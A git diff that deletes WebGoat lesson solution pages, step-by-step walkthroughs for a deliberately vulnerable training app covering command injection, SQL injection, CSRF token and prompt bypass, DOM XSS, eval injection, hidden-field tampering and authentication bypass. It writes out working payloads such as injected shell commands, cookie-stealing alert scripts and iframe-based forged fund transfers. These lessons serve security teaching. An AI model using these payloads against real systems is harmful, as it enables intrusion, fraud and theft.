-Use Firebug to solve this stage. If you are using IE you can try it with -IEWatch.

- -First use any person from the list and see what you get. After doing this you -can search for a specific person in Firebug. Make sure you find the hidden table with -the information, including the salary and so on. In the same table you will find -Neville. - -Clientside Filtering
-Inspect HTML on Firebug - -

-Now write the salary into the text edit box and submit your answer! -

-Stage 2 -

-In this stage you have to modify the clientSideFiltering.jsp which you will find under -the WebContent in the lessons/Ajax folder. The Problem is that -the server sends all information to the client. As you could see -even if it is hidden it is easy to find the sensitive date. In this -stage you will add a filter to the XPath queries. In this file you will find -following construct:

- - StringBuffer sb = new StringBuffer();
- - sb.append("/Employees/Employee/UserID | ");
- sb.append("/Employees/Employee/FirstName | ");
- sb.append("/Employees/Employee/LastName | ");
- sb.append("/Employees/Employee/SSN | ");
- sb.append("/Employees/Employee/Salary ");
- - String expression = sb.toString();
-
-

-This string will be used for the XPath query. You have to guarantee that a manger only -can see employees which are working for him. To archive this you can use -filters in XPath. Following code will exactly do this:

- - StringBuffer sb = new StringBuffer();
- - sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/UserID | ");
- sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/FirstName | ");
- sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/LastName | ");
- sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/SSN | ");
- sb.append("/Employees/Employee[Managers/Manager/text() = " + userId + "]/Salary ");
- - String expression = sb.toString();
-
-

-Now only information is sent to your client you are authorized for. You can click on the button. -

- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/ClientSideValidation.html b/src/main/webapp/lesson_solutions_1/ClientSideValidation.html deleted file mode 100644 index b23fb0875..000000000 --- a/src/main/webapp/lesson_solutions_1/ClientSideValidation.html +++ /dev/null @@ -1,64 +0,0 @@ - - - - -Insecure Client Storage - - - -

Lesson Plan Title: Insecure Client Storage

- -

Concept / Topic To Teach:
-It is always a good practice to validate all input - on the server side. Leaving the mechanism for validation - on the client side leaves it vulnerable to reverse engineering. - Remember, anything on the client side should not be considered a secret.

- - - -

General Goal(s):
-For this exercise, your mission is to discover a coupon -code to receive an unintended discount. Then, exploit the use -of client side validation to submit an order with a cost of zero.

- -

Solution:
-For the solution you need a plugin for your browser, which is capable of debugging -Javascript. For IE you can use IEWatch. This solution is written for Firebug -which is a plugin for Firefox. -

- -Stage 1 -

-First we want to try to get a coupon code to get something cheaper. Open -Firebug and click on the Script Tab. Make sure you choose clientSideValidation.js -on the dropdown list. Toggle a breakpoint on the line:
-decrypted = decrypt(coupons[i]);

-Now enter a character in the coupon code field. The Javascript gets executed -but stops at the breakpoint. On the right side you see the parameters -and there values. Now use the step over symbol or F10. Now you can read -the clear text of decrypted: -

-Stage 1 -
-Figure 1 Firebug in action - -

-Now that you know the coupon name enter it in the coupon field, purchase something -and you are done. -

- -Stage 2 -

-You can not edit the Prices in the Shopping Cart. The reason is that the readonly -attribute is set for this field. -

-

To get rid of this attribute open Firebug. Make sure this time you use -the HTML View. You can directly in -Firebug search for readonly and elemenate this attribute.The field for the total is -called GRANDTOT. After having deleted the readonly attribute from GRANDTOT -it is possible to change the price directly in the browser. Select any products -you like, change the total field to 0 and hit the purchase button.

- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/CommandInjection.html b/src/main/webapp/lesson_solutions_1/CommandInjection.html deleted file mode 100644 index 7e19dd78a..000000000 --- a/src/main/webapp/lesson_solutions_1/CommandInjection.html +++ /dev/null @@ -1,739 +0,0 @@ - - - - - - - -Solution: Command Injection - - - - - - - - - - - - -
- -

Lesson Plan Title: How to Perform Command Injection

- -

 

- -

Concept / Topic To Teach:

- -

Command -injection attacks represent a serious threat to any parameter-driven site. The methods -behind an attack are easy to learn and the damage caused can range from -considerable to complete system compromise. Despite these risks an incredible -number of systems on the internet are susceptible to this form of attack.

- -

 

- -

Not only is -it a threat easily instigated, it is also a threat that, with a little -common-sense and forethought, can be almost totally prevented. This lesson will -show the student several examples of parameter injection.

- -

 

- -

It is always -good practice to sanitize all input data, especially data that will used in OS -command, scripts, and database queries.

- -

 

- -

General Goal(s):

- -

The user -should be able to execute any command on the hosting OS.

- -

 

- -

- -

Figure 1 Lesson 16

- -

 

- -

Solution:

- -

 

- -

Select a -lesson from the drop-down box and click on "View".

- -

 

- -

- -

 

- -

Intercept the -request with WebScarab when you click on "View". Append " & netstat -an -& ipconfig to the HelpFile parameter. Do not forget the double quote!

- -

 

- -

- -

Figure 2 Injecting command netstat & ipconfig

- -

 

- -

The result -contains the output of the command netstat and ipconfig.

- -

 

- -

- -

Figure 3 Command Injection results

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/ConcurrencyCart.html b/src/main/webapp/lesson_solutions_1/ConcurrencyCart.html deleted file mode 100644 index 2c19a9918..000000000 --- a/src/main/webapp/lesson_solutions_1/ConcurrencyCart.html +++ /dev/null @@ -1,32 +0,0 @@ - - - - -Shopping Cart Concurrency Flaw - - - -

Lesson Plan Title: Shopping Cart Concurrency Flaw

- -

Concept / Topic To Teach:
-Web applications can handle many HTTP requests simultaneously. Developers often use variables that are not thread safe.  Thread safety means that the fields of an object or class always maintain a valid state when used concurrently by multiple threads. It is often possible to exploit a concurrency bug by loading the same page as another user at the exact same time. Because all threads share the same method area, and the method area is where all class variables are stored, multiple threads can attempt to use the same class variables concurrently.
-

- -

General Goal(s):
-For this exercise, your mission is to exploit the concurrency issue which will allow you to purchase merchandise for a lower price. -

- -Solution:

-1. Open a new browser window on the same page.

-2. In window A you choose a low cost item and click "Purchase".

-
-Window A


-3. In window B you choose the a high cost item you want to buy and click "update cart". The variable of the price has been overwritten now.

-
-Window B


-4. In window A you can click click "Confirm" and you bought your item for a lower price.

-
-Window A Success
-


- - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/CsrfPromptByPass.html b/src/main/webapp/lesson_solutions_1/CsrfPromptByPass.html deleted file mode 100644 index caeeedb03..000000000 --- a/src/main/webapp/lesson_solutions_1/CsrfPromptByPass.html +++ /dev/null @@ -1,110 +0,0 @@ - - - - -Client Side Filtering - - - -

Lesson Plan Title:Prompt By-Pass with CSRF

- -

Concept / Topic To Teach:
-This lesson teaches how to perform Cross Site Request Forgery (CSRF) attacks containing -multiple requests to by-pass a scriptable user-prompt -

- -

General Goal(s):
-Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains multiple -malicious requests: the first to transfer funds, and the second a request to confirm the prompt -that the first request triggered. The URL should point to this lesson with an extra -parameter "transferFunds=4000", and "transferFunds=CONFIRM". You can copy the shortcut from the -left hand menu by right clicking on the left hand menu and choosing copy shortcut. Whoever -receives this email and happens to be authenticated at that time will have his funds transferred. -When you think the attack is successful, refresh the page and you will find the green check on -the left hand side menu
-Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values. -

- -Solution:
- -

Start by crafting an image or iframe tag similar to the CSRF LAB: <img -src="http://localhostattack?Screen=81&menu=210&transferFunds=5000" -width="1" height="1" /> - -This image request will not result in a transfer of funds but will instead -prompt the user for confirmation. To see the confirmation prompt, try typing in the URL of the -Lesson with the extra parameter of "transferFunds=4000"
- -User Prompt for confirmation of the transfer of funds
-User Prompt -

-

-Next look at the source of the page to see what parameters the confirmation requires. -The form in the confirmation prompt looks like the following: - - -

<form accept-charset='UNKNOWN' method='POST' action='attack?Screen=5&menu=900' enctype='application/x-www-form-urlencoded'>
-	<input name='transferFunds' type='submit' value='CONFIRM'>
-	<input name='transferFunds' type='submit' value='CANCEL'>
-</form>
- -From this we see the next forged command will need the folllowing URL:
-attack?Screen=5&menu=900&transferFunds=CONFIRM
-This solution shows how to do this attack with both iframes and images. The next step is to -add the additional forged confirmation request. However, an additional iframe or image with -this URL will not be sufficient. The second request must load after the first. So add -Javascript to load the second command after the first. For iframes, make the onload attribute -of the first frame set the src of the second iframe:
- - -
<iframe
-	src="http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=400"
-	id="myFrame" frameborder="1" marginwidth="0"
-	marginheight="0" width="800" scrolling=yes height="300"
-	onload="document.getElementById('frame2').src='http://localhost:8080/WebGoat/attack?Screen=5&menu=900&transferFunds=CONFIRM';">
-
</iframe>
-	
-<iframe
-	id="frame2" frameborder="1" marginwidth="0"
-	marginheight="0" width="800" scrolling=yes height="300">
-</iframe>
-
-
- -Next add the iframes into a message stored on the web page:
-Picture of embedded message
-Insert iframes hack picture
-

-The following shows the result of clicking on the malicious iframe message: -Picture of the malicious iframe message
-Results of iframes hack picture
-In the above image, note that the first frame shows the user prompt, the result of the -first forged request to transfer funds. In the second frame the results of the second -forged request (the confirmation) are shown, indicating that 4000 dollars were successfully -transfered. Refreshing the page will indicate that this lesson has been completed. -

-

-In a real attack these results would be hidden from the end user. Click "restart this lesson" -to attempt the attack again, only this time try hiding the attack with hidden or very small frames. -

-

-For images, loading an html page as an image will cause an error. So instead of using the onload attribute, use onerror: -
- -<img -src="http://localhostattack?Screen=81&menu=210&transferFunds=5000" -onerror="document.getElementById('image2').src='http://localhostattack?Screen=81&menu=210&transferFunds=CONFIRM'" -width="1" height="1" /> -<img -id="image2" -width="1" height="1" /> - -
-Next store the malicious images in a message and click the message to attempt the attack. -Picture of the malicious iframe message
-Picture of adding malicious image requests
-Refreshing the page should indicate that this lesson has been completed. Congratulations. One way for developers to limit -CSRF attacks is to only allow requests to be issued via HTTP Post. That would remove any attacks by images or iframes, but -not for XmlHttpRequests in Javascript. For extra credit, you could try the same attack but instead use XmlHttpRequest over post. - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/CsrfTokenByPass.html b/src/main/webapp/lesson_solutions_1/CsrfTokenByPass.html deleted file mode 100644 index 1b66f2d72..000000000 --- a/src/main/webapp/lesson_solutions_1/CsrfTokenByPass.html +++ /dev/null @@ -1,122 +0,0 @@ - - - - -CSRF Token By-Pass - - - -

Lesson Plan Title:CSRF Token Prompt By-Pass

- -

Concept / Topic To Teach:
-This lesson teaches how to perform CSRF attacks on sites that use tokens to mitigate CSRF attacks, but are vulnerable to CSS attacks. -

- -

-Cross-Site Request Forgery (CSRF/XSRF) is an attack that tricks the victim into -loading a page that contains a 'forged request' to execute commands with the -victim's credentials.

- -

Token-based request authentication deters these attacks. This technique -inserts tokens into pages that issue requests. These tokens are required to -complete a request, and help verify that requests are not scripted. CSRFGuard from OWASP uses -this technique to help prevent CSRF attacks.

- -

However, this technique can be by-passed if CSS vulnerabilities exist on the same site. -Because of the same-origin browser policy, pages from the same domain can read content from -other pages from the same domain.

- -

General Goal(s):
-Similar to the CSRF Lesson, your goal is to send an email to a newsgroup that contains a malicious -request to transfer funds. To successfully complete you need to obtain a valid request token. The -URL that presents the transfer funds form is the same as the CSRF lesson with an extra parameter -"transferFunds=main". Load this page, read the token and append the token in a forged request -to transferFunds. When you think the attack is successful, refresh the page and you will find the -green check on the left hand side menu.
-Note that the "Screen" and "menu" GET variables will vary between WebGoat builds. Copying the menu link on the left will give you the current values. -

- -Solution:
- -

Similar to the CSRF LAB, you must forge a request that will transfer funds. However, -a request will not result in a transfer of funds unless it has a correct token. To find -a valid token, you could look at the form that the site generates to submit a transfer of funds. -To see the transfer funds page, try typing in the URL of the Lesson with the extra parameter -of "transferFunds=main"
- -Picture of transfer initiation form
-Transfer initiation form -

-

-Next look at the source of the page to see what parameter the token comes in. - -

<form accept-charset='UNKNOWN' id='transferForm' method='POST' action='attack?Screen=2&menu=900' enctype='application/x-www-form-urlencoded'>
-	<input name='transferFunds' type='text' value='0'>
-	<input name='CSRFToken' type='hidden' value='1745740650'>
-	<input type='submit'>
-
</form>
- -From this we see a forged command will need the CSRFToken parameter.
- -

This solution loads this page in an iframe and reads the token out of the frame. -Note that this is possible because the message originates from the same domain and -does not violate the "same origin policy". So even thought this page has taken -measures to prevent CSRF attacks, those measures can be side-stepped because of -CSS vulnerabilites. To pull out the CSRFToken, the following javascript locates the -frame, then the form, then saves the token

- -
-var tokenvalue;
-
-function readFrame1()
-{
-    var frameDoc = document.getElementById("frame1").contentDocument;
-    var form = frameDoc.getElementsByTagName("form")[1];
-    var token = form.CSRFToken.value;
-    tokenvalue = '&CSRFToken='+token;
-    
-    loadFrame2();
-}
-
-function loadFrame2()
-{
-    var testFrame = document.getElementById("frame2");
-    testFrame.src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=4000"+tokenvalue;	
-}
-
- -

readFrame1 will read the frame's content for the CSRFToken, save it and then call loadFrame2 -LoadFrame2 will then append the token and load a second frame.

- -The following frames loads the transfer page in the first frame. When it finishes loading, it will -call readFrame1, which calls loadFrame2, which then sets the src for the second iframe. - -
- - - -
<iframe	src="http://localhost:8080/WebGoat/attack?Screen=212&menu=900&transferFunds=main"
-	onload="readFrame1();"
-	id="frame1" frameborder="1" marginwidth="0"
-	marginheight="0" width="800" scrolling=yes height="300"></iframe>
-<iframe id="frame2" frameborder="1" marginwidth="0"
-	marginheight="0" width="800" scrolling=yes height="300"></iframe>
-
-
- -

The next picture shows inserting this code into a message:
-Picture of inserting CSRF code in web page
-Inserting CSRF code into message

- -The following picture shows the results of someone hitting this page. Note that no effort was taken to -hide the results of the two frames. The first frame shows the transfer funds form, and the second shows -the results of the CSRF attack. Try another post that will hide these iframes from being noticed. -

The next picture shows inserting this code into a message:
-Picture of the results of viewing the malicious message
-Results of viewing the malicious message - - -

- - - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/DOMInjection.html b/src/main/webapp/lesson_solutions_1/DOMInjection.html deleted file mode 100644 index 1e73150f0..000000000 --- a/src/main/webapp/lesson_solutions_1/DOMInjection.html +++ /dev/null @@ -1,865 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform DOM Injection Attack.

- -

 

- -

Concept / -Topic To Teach:

- -

How to -perform DOM injection attacks.

- -

 

- -

How the -attacks works:

- -

Some applications -specially the ones that uses AJAX manipulates and updates the DOM directly -using JavaScript, DHTML and eval() method.
-An attacker may take advantage of that by intercepting the reply and try to -inject some javascript commands to exploit his attacks.

- -

 

- -

General -Goal(s):

- -

* -Your victim is a system that takes an activation key to allow you to use it.
-* Your goal should be to try to get to enable the activate button.
-* Take some time to see the HTML source in order to understand how the key -validation process works.

- -

 

- -

- -

Figure 1 AJAX Security - DOM Injection

- -

 

- -

Solution:

- -

 

- -

AJAX requires -XML communication between the browser and the web application. When you view -the source of the HTML page, you will notice the usage of XMLHttpRequest:

- -

 

- -

<script>

- -

function -validate() {

- -

var keyField -= document.getElementById('key');

- -

var url = -'attack?Screen=80&menu=1150&from=ajax&key=' + -encodeURIComponent(keyField.value);

- -

if (typeof -XMLHttpRequest != 'undefined') {

- -

req -= new XMLHttpRequest();

- -

} else if -(window.ActiveXObject) {

- -

req -= new ActiveXObject('Microsoft.XMLHTTP');

- -

   }

- -

   req.open('GET', url, true);

- -

   req.onreadystatechange = callback;

- -

   req.send(null);

- -

}

- -

function -callback() {

- -

    if (req.readyState == 4) {

- -

        if (req.status == 200) {

- -

            var message = req.responseText;

- -

                                     eval(message);

- -

        }}}

- -

</script>

- -

 

- -

The XML -response contains JavaScript that will activate the button so that you are able -to click on it. This requires you to inject JavaScript to manipulate the -Document Object Model of the HTML page in the browser. This requires -intercepting the HTTP response in WebScarab!

- -

 

- -

Enter a -license key (for example 'a') and intercept the HTTP Request and HTTP Response -in WebScarab.

- -

 

- -

- -

Figure 2 HTTP Request

- -

 

- -

- -

Figure 3 HTTP Response

- -

 

- -

Intercept the -reply and replace the body with document.form.SUBMIT.disabled = false;

- -

 

- -

- -

Figure 4 Updated HTTP Response

- -

 

- -

The button “Activate!” is now enabled!

- -

 

- -

- -

Figure 5 Activate! Button is enabled

- -

 

- -

- -

Figure 6 Lesson completed

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/DOMXSS.html b/src/main/webapp/lesson_solutions_1/DOMXSS.html deleted file mode 100644 index 2cfa4d90d..000000000 --- a/src/main/webapp/lesson_solutions_1/DOMXSS.html +++ /dev/null @@ -1,51 +0,0 @@ - - - - -DOM Based Cross Site Scripting (XSS) - - - -

Lesson Plan Title: DOM Based Cross Site Scripting (XSS)

- -

Concept / Topic To Teach:
-The Document Object Model (DOM) presents an interesting problem from a security standpoint. It allows the content of a web page to be dynamically modified, but that can be abused by attackers during a malicious code injection. XSS, a type of malicious code injection, can occur when unvalidated user input is used directly to modify the content of a page on the client side.
-

- -

General Goal(s):
-For this exercise, your mission is to use this vulnerability to inject malicious code into the DOM. Then in the last stage, you will correct the flaws in the code to address the vulnerability. -

- -Solution:

-Stage 1: Enter "<IMG SRC="images/logos/owasp.jpg"/>" and submit the solution.

-
-Stage 1 result


-Stage 2: Enter "<img src=x onerror=;;alert('XSS') />" and submit the solution.

-
-Stage 2 result


-Stage 3: Enter "<IFRAME SRC="javascript:alert('XSS');"></IFRAME>" and submit the solution.

-
-Stage 3 result


-Stage 4: Enter "Please enter your password:<BR><input type = "password" name="pass"/><button onClick="javascript:alert('I have your password: ' + pass.value);">Submit</button><BR><BR><BR><BR><BR><BR><BR><BR> <BR><BR><BR><BR><BR><BR><BR><BR>" and submit the solution.

-
-Stage 4 result


-Stage 5: You have to use the JavaScript escape.js for the input.
-You will find the JavaScripts in tomcat\webapps\WebGoat\javascript ( Standart Version ) or in WebContent\javascript ( Developer Version ).
-Open the JavaScript DOMXSS.js


-function displayGreeting(name) {
- if (name != ''){
- document.getElementById("greeting").innerHTML="Hello, " +
name + "!";
- }
-}

-
-You have to change this to:

-function displayGreeting(name) {
- if (name != ''){
- document.getElementById("greeting").innerHTML="Hello, " +
escapeHTML(name); + "!";
- }
-}

-
-The attacks will no longer work. -


- - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/DOS_Login.html b/src/main/webapp/lesson_solutions_1/DOS_Login.html deleted file mode 100644 index 575a3916f..000000000 --- a/src/main/webapp/lesson_solutions_1/DOS_Login.html +++ /dev/null @@ -1,704 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: Denial of -Service from Multiple Logins

- -

 

- -

Concept / -Topic To Teach:

- -

Denial of -service attacks are a major issue in web applications. If the end user cannot conduct -business or perform the service offered by the web application, then both time -and money is wasted.

- -

 

- -

General -Goal(s):

- -

This site -allows a user to login multiple times. This site has a database connection pool -that allows 2 connections. You must obtain a list of valid users and create a -total of 3 logins.

- -

Solution:

- -

 

- -

This site -allows a user to login multiple times. There is a database connection pool that -allows 2 connections. You must obtain a list of valid users and create a total -of 3 logins.

- -

 

- -

Let's try a -SQL Injection attack. Enter in the password field ' or '1' = '1

- -

 

- -

- -

Figure 1 Lesson 20

- -

 

- -

Login with -user name jsnow and password passwd1. Then login with user name jdoe and -password passwd1. And finally login with jplane and passwd3.

- -

 

- -

- -

Figure 2 Lesson 20 Completed

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - - diff --git a/src/main/webapp/lesson_solutions_1/DangerousEval.html b/src/main/webapp/lesson_solutions_1/DangerousEval.html deleted file mode 100644 index a2f353c50..000000000 --- a/src/main/webapp/lesson_solutions_1/DangerousEval.html +++ /dev/null @@ -1,28 +0,0 @@ - - - - -Dangerous Use of Eval - - - -

Lesson Plan Title: Dangerous Use of Eval)

- -

Concept / Topic To Teach:
-It is always a good practice to validate all input on the server side. XSS can occur when unvalidated user input is reflected directly into an HTTP response. In this lesson, unvalidated user-supplied data is used in conjunction with a Javascript eval() call. In a reflected XSS attack, an attacker can craft a URL with the attack script and store it on another website, email it, or otherwise trick a victim into clicking on it. -

- -

General Goal(s):
-For this exercise, your mission is to come up with some input which, when run through eval, will execute a malicious script. In order to pass this lesson, you must 'alert()' document.cookie. -

- -Solution:
-The value of the digit access code field is placed in the Javascript eval() function. This is the reason why your attack will not require the "<script>" tags.
-Enter: 123');alert(document.cookie);('

-The result on the server is:

- eval('123');
-alert(document.cookie);
-('
'); -


- - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/Encoding.html b/src/main/webapp/lesson_solutions_1/Encoding.html deleted file mode 100644 index 08375aab2..000000000 --- a/src/main/webapp/lesson_solutions_1/Encoding.html +++ /dev/null @@ -1,22 +0,0 @@ - - - - -Encoding Basics - - - -

Lesson Plan Title: How to Perform Cross Site Scripting (XSS)

- -

Concept / Topic To Teach:
-Different encoding schemes can be used in web applications for different reasons. -

- -

General Goal(s):
-This lesson will familiarize the user with different encoding schemes. -

- -Solution:
-Enter the string "abc". In the List below you see the encoded value of the string. For rot13 encoding this is "nop". Now enter a string "a c" and have a look on the url encoding.


- - \ No newline at end of file diff --git a/src/main/webapp/lesson_solutions_1/FailOpenAuthentication.html b/src/main/webapp/lesson_solutions_1/FailOpenAuthentication.html deleted file mode 100644 index a6d9b7a47..000000000 --- a/src/main/webapp/lesson_solutions_1/FailOpenAuthentication.html +++ /dev/null @@ -1,741 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson Plan Title: How to Bypass a Fail Open -Authentication Scheme

- -

 

- -

Concept / Topic To Teach: Abusing error handling.

- -

 

- -

This lesson presents -the basics for understanding the "fail open" condition regarding -authentication. The security term, "fail open" describes a behavior of a -verification mechanism. This is when an error (i.e. unexpected exception) -occurs during a verification method causing that method to evaluate to true. -This is especially dangerous during login.

- -

 

- -

General Goal(s):

- -

The user -should be able to bypass the authentication check.

- -

 

- -

- -

Figure 1 Lesson 19

- -

 

- -

Solution:

- -

 

- -

Enter user -name webgoat and click "Login". Intercept the request with WebScarab.

- -

 

- -

- -

Figure 2 Intercepted request

- -

 

- -

Click on the -variable "Password" and click "Delete". Click "Accept changes".

- -

 

- -

- -

Figure 3 Password variable is deleted

- -

 

- -

You are now -"authenticated" as WebGoat.

- -

 

- -

- -

Figure 4 Lesson 19 Completed

- -

 

- -

The problem -is that the exception handler in the Java code is executing a catch block for successful -authentication. The exception occurs because there is a NullPointer exception -when reading out the password parameter.

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/ForcedBrowsing.html b/src/main/webapp/lesson_solutions_1/ForcedBrowsing.html deleted file mode 100644 index be8032dac..000000000 --- a/src/main/webapp/lesson_solutions_1/ForcedBrowsing.html +++ /dev/null @@ -1,767 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Perform Forced Browsing Attacks.

- -

 

- -

Concept -/ Topic To Teach:

- -

How -to Exploit Forced Browsing.

- -

 

- -

How -the attacks works:

- -

Forced -browsing is a technique used by attackers to gain access to resources that are -not referenced, but are nevertheless accessible. One technique is to manipulate -the URL in the browser by deleting sections from the end until an unprotected -directory is found

- -

 

- -

General -Goal(s):

- -

Your -goal should be to try to guess the URL for the "config" interface.
-The "config" URL is only available to the maintenance personnel.
-The application doesn't check for horizontal privileges.

- -

 

- -

- -

Figure 1 Insecure configuration -management – Forced Browsing

- -

 

- -

Solution:

- -

If you want to access a restricted page, you need to -be able to guess the URI to access the page, for example /admin.

- -

In this environment, WebGoat consists of different -servlets that live in the WebGoat application. The main servlet is /attack, -what could be the servlet for config?

- -

 

- -

Try to access config, -configuration, conf, ….

- -

 

- -

- -

Figure 2 No config

- -

 

- -

- -

Figure 3 No configuration

- -

 

- -

- -

Figure 4 Bingo for conf

- -

 

- -

This -could be automated with a tool like Wikto 2.0

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/ForgotPassword.html b/src/main/webapp/lesson_solutions_1/ForgotPassword.html deleted file mode 100644 index f32e4dd12..000000000 --- a/src/main/webapp/lesson_solutions_1/ForgotPassword.html +++ /dev/null @@ -1,828 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Exploit the Forgot Password Page

- -

 

- -

Concept / -Topic To Teach:

- - - -

Web -applications frequently provide their users the ability to retrieve a forgotten -password. Unfortunately, many web applications fail to implement the mechanism -properly. The information required to verify the identity of the user is often -overly simplistic.

- -

 

- -

General -Goal(s):

- -

Users can -retrieve their password if they can answer the secret question properly. There -is no lock-out mechanism on this 'Forgot Password' page. Your username is -'webgoat' and your favorite color is 'red'. The goal is to retrieve the -password of another user.

- -

 

- -

Solution:

- -

 

- -

This lesson -will show you how easy it is to guess a secret question and retrieve somebody -else his password.

- -

 

- -

- -

Figure 1 Lesson 10

- -

 

- -

When you -enter the user name webgoat and then the answer "red" for your favorite color, -you will get a password reminder, only not via e-mail.

- -

 

- -

- -

Figure 2 Submit the answer red

- -

 

- -

- -

Figure 3 Password reminder for user webgoat

- -

 

- -

The password -for user webgoat is webgoat. This is a weak password policy, which is also a -bad thing J

- -

 

- -

Now you need -to guess the password for another user. The text tells you something about an -"OWASP admin". So let’s try "admin" for a user name.

- -

 

- -

- -

Figure 4 Is there a user admin?

- -

 

- -

This works. -Now you need the guess some colors.

- -

 

- -

- -

Figure 5 There is a user admin!

- -

 

- -

 

- -

Try blue, red -and green for example.

- -

 

- -

- -

Figure 6 No blue

- -

 

- -

Blue is an -incorrect response.

- -

 

- -

- -

Figure 7 It's green!

- -

 

- -

Green is the -correct answer and now you know the difficult password for user admin.

- -

 

- -
-
- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/HiddenFieldTampering.html b/src/main/webapp/lesson_solutions_1/HiddenFieldTampering.html deleted file mode 100644 index c5c3cf825..000000000 --- a/src/main/webapp/lesson_solutions_1/HiddenFieldTampering.html +++ /dev/null @@ -1,685 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Exploit Hidden Fields

- -

 

- -

Concept / -Topic To Teach:

- -

Developers -will use hidden fields for tracking, login, pricing, etc.. information on a -loaded page. While this is a convenient and easy mechanism for the developer, -they often don't validate the information that is received from the hidden -field. This lesson will teach the attacker to find and modify hidden fields to -obtain a product for a price other than the price specified

- -

 

- -

General -Goal(s):

- -

The user -should be able to exploit a hidden field to obtain a product at an incorrect -price.

- -

 

- -

- -

Figure 1 Lesson 4

- -

 

- -

Solution:

- -

 

- -

To change the -hidden field you need to start your favorite HTTP Interceptor. You can use -WebScarab from OWASP to intercept the request and change the hidden field. -Configure your browser to use a local proxy. In Internet Explorer you can do -this via "Tools" – "Internet Options" – "Connections" – "LAN Settings". You -must define proxy "localhost" with port 8008.

- -

 

- -

- -

Figure 2 Set local proxy in Internet Explorer

- -

 

- -

Start -WebScarab

- -

 

- -

- -

Figure 3 Intercept request with WebScarab

- -

 

- -

- -

Figure 4 Change the Price variable to 1

- -

 

- -

- -

Figure 5 Lesson 4 Completed

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/HtmlClues.html b/src/main/webapp/lesson_solutions_1/HtmlClues.html deleted file mode 100644 index dd907cfb0..000000000 --- a/src/main/webapp/lesson_solutions_1/HtmlClues.html +++ /dev/null @@ -1,677 +0,0 @@ - - - - - - - - - - - - - - - - - - - -
- -

Lesson -Plan Title: How to -Discover Clues in the HTML

- -

 

- -

Concept / -Topic To Teach:

- -

Developers -are notorious for leaving statements like FIXME's, Code Broken, Hack, etc... -inside the source code.  Review the source code for any comments -denoting passowrds, backdoors, or something doesn't work right. 

- -

 

- -

General -Goal(s):

- -

The user -should be able to bypass the authentication check.

- -

 

- -

- -

Figure 1 Lesson 3

- -

 

- -

Right-click -the page and select "View source"

- -

- -

Figure 2 View Source

- -

 

- -

Solution:

- -

 

- -

 

- -

Examine the -HTML source.

- -

 

- -

- -

 

- -

In the HTML -source there is a comment that contains a user name admin and a password -adminpw. Enter these values in WebGoat and click "Login"

- -

 

- -

- -

Figure 3 Enter discovered credentials

- -

 

- -

- -

Figure 4 Lesson 3 Completed

- -

 

- -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
- - - - diff --git a/src/main/webapp/lesson_solutions_1/HttpBasics.html b/src/main/webapp/lesson_solutions_1/HttpBasics.html deleted file mode 100644 index 73bfee09b..000000000 --- a/src/main/webapp/lesson_solutions_1/HttpBasics.html +++ /dev/null @@ -1,602 +0,0 @@ - - - - - - - -Solution: Http Basics - - - - - - - - - - - - -
- -

Lesson -Plan Title: Http -Basics

- -

 

- -

Concept / -Topic To Teach:

- -

This lesson -presents the basics for understanding the transfer of data between the browser -and the web application.
-
-Client Request: How HTTP works:

- -

All HTTP transactions -follow the same general format. Each client request and server response has -three parts: the request or response line, a header section, and the entity -body. The client initiates a transaction as follows:
-
-The client contacts the server and sends a document request

- -


-        GET /index.html?param=value HTTP/1.0
-
-Next, the client sends optional header information to inform the server of its -configuration and the document formats it will accept.
-
-        User-Agent: Mozilla/4.06 Accept: image/gif, -image/jpeg, */*
-
-After sending the request and headers, the client may send additional data. -This data is mostly used by CGI programs using the POST method.

- -

 

- -

General -Goal(s):

- -

Enter your -name in the input field below and press "go" to submit. The server -will accept the request, reverse the input, and display it back to the user, -illustrating the basics of handling an HTTP request.
-
-The user should become familiar with the features of WebGoat by manipulating -the above buttons to view hints and solution. We have to use WebScarab for the first time

- -

 

- -

Solution:

- -

Add a Proxy on localhost in the settings of your browser. Then you can start WebScarab .We have to select "intercept request" in the tab "Intercept".

- - - -

Figure 1 Intercept Request

- -

 

- -

Fill out your -name and click the button Go! We get a new WebScarab window, where we can find the parameter person.

- -

 

- - - -

 

- -

 

- -
- - - - - -
- Solution by Erwin Geirnaert - ZION SECURITY
